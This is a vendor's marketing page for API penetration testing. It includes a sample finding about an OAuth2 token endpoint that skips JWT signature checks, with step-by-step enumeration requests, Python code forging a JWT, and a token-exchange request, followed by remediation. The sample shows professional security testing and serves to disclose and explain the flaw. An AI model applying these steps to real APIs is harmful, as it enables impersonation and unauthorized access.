Secure every application with flexible pentesting that combines expert-led testing, autonomous validation, and actionable results
Learn moreIdentify exploitable risk across external networks, internal infrastructure, and cloud environments
Learn moreExtend your offensive security program with specialized assessments, adversarial testing, code review, and program-level support
Learn moreAPIs are the backbone of modern software, connecting your applications, partners, and data. That same connectivity makes them a primary target for attackers.
Automated tools flag misconfigurations, but they cannot reason about broken object level authorization, excessive data exposure, and business logic abuse. Proof of exploitability is what separates a real finding from noise, and it takes a human to establish it.
Cobalt API Pentesting Services follow an industry-leading methodology, informed by the OWASP ASVS and Top 10 guidelines. Human-led testing goes where automation cannot, with AI accelerating reconnaissance, enumeration, scanning, and triage. Our expert pentesters spend their time on exploitation and business logic, ensuring your APIs stay secure. The methodology adapts across REST, SOAP, GraphQL, API gateways, and microservices to match your architecture.
The API OAuth2 token endpoint implements the jwt_bearer grant type but performs no cryptographic validation of the submitted JWT. Any JWT presenting a valid email claim matching a registered API client is accepted and exchanged for a live Bearer token, regardless of the signing key used or the algorithm specified.
The list of valid client email addresses is exposed unauthenticated via GET /v2/admin/clients, making full attack automation trivial. An attacker with no prior knowledge of the system can enumerate client identities, forge a JWT signed with an arbitrary key, and obtain a valid access token for any registered API client.
POST /v2/oauth/token — token endpoint accepting jwt_bearer grant typeGET /v2/admin/clients — unauthenticated endpoint exposing registered client email addressesStep 1: Enumerate registered API client email addresses without authentication:
GET /v2/admin/clients HTTP/1.1Host: [api-target-domain]Response:[ {"email": "client-a@[api-target-domain]", ...}, {"email": "client-b@[api-target-domain]", ...}]Step 2: Forge a JWT signed with an arbitrary wrong key:
import jwt, timepayload = { "iss": "client-a@[api-target-domain]", "sub": "client-a@[api-target-domain]", "aud": "https://[api-target-domain]", "exp": int(time.time()) + 3600, "iat": int(time.time())}# Server does not validate the signature# Any key is acceptedforged_token = jwt.encode( payload, "wrong-key-server-never-checks", algorithm="HS256")Step 3: Exchange the forged JWT for a valid Bearer token:
POST /v2/oauth/token HTTP/1.1Host: [api-target-domain]Content-Type: application/x-www-form-urlencodedgrant_type=jwt_bearer&assertion=[forged-jwt-from-step-2]Response 200 OK:{ "access_token": "[valid-bearer-token]", "token_type": "Bearer", "expires_in": 3600}Step 4: Use the issued token to authenticate as the target API client against protected endpoints.
Full API authentication is trivially bypassed. Any party who knows or can enumerate a registered client email address can impersonate that API client without possessing the associated private key.
The unauthenticated client enumeration endpoint removes the only practical barrier to exploitation.
alg:none or any algorithm not explicitly allowlisted for the issuing client.GET /v2/admin/clients (and any endpoint exposing client identities) to authenticated administrators only.A Cobalt API pentest goes beyond automated scanning to uncover the vulnerabilities that matter most. You get elite security specialists, an AI-powered platform, and validated findings that flow directly into your development workflow, all delivered through the Cobalt Offensive Security Platform.
Cobalt follows an industry-standard methodology built on the OWASP API Security Top 10, the OWASP Application Security Verification Standard (ASVS), and the OWASP Testing Guide. Testing spans scope reconnaissance and endpoint discovery, business and application logic mapping, automated enumeration and scanning, authenticated vulnerability scanning and manual crawling, and manual exploitation, followed by real-time reporting, triaging, and retesting.
Common findings include broken object level authorization and broken access controls, broken authentication, excessive data exposure, rate limiting failures, injection, security misconfigurations, and business logic abuse that automated tools miss. Every finding is validated as exploitable and delivered with reproduction steps and remediation guidance.
API pentesting pairs naturally with Web Application Pentest for shared endpoints and data exchange, Mobile Application Pentest for the APIs and authentication flows behind the app, Cloud Pentest for the environment that hosts your APIs, and DAST for continuous coverage between pentests.
Secure every API with human-led, AI-powered pentesting from Cobalt. Access findings and remediate risk in real-time through the Cobalt Offensive Security Platform.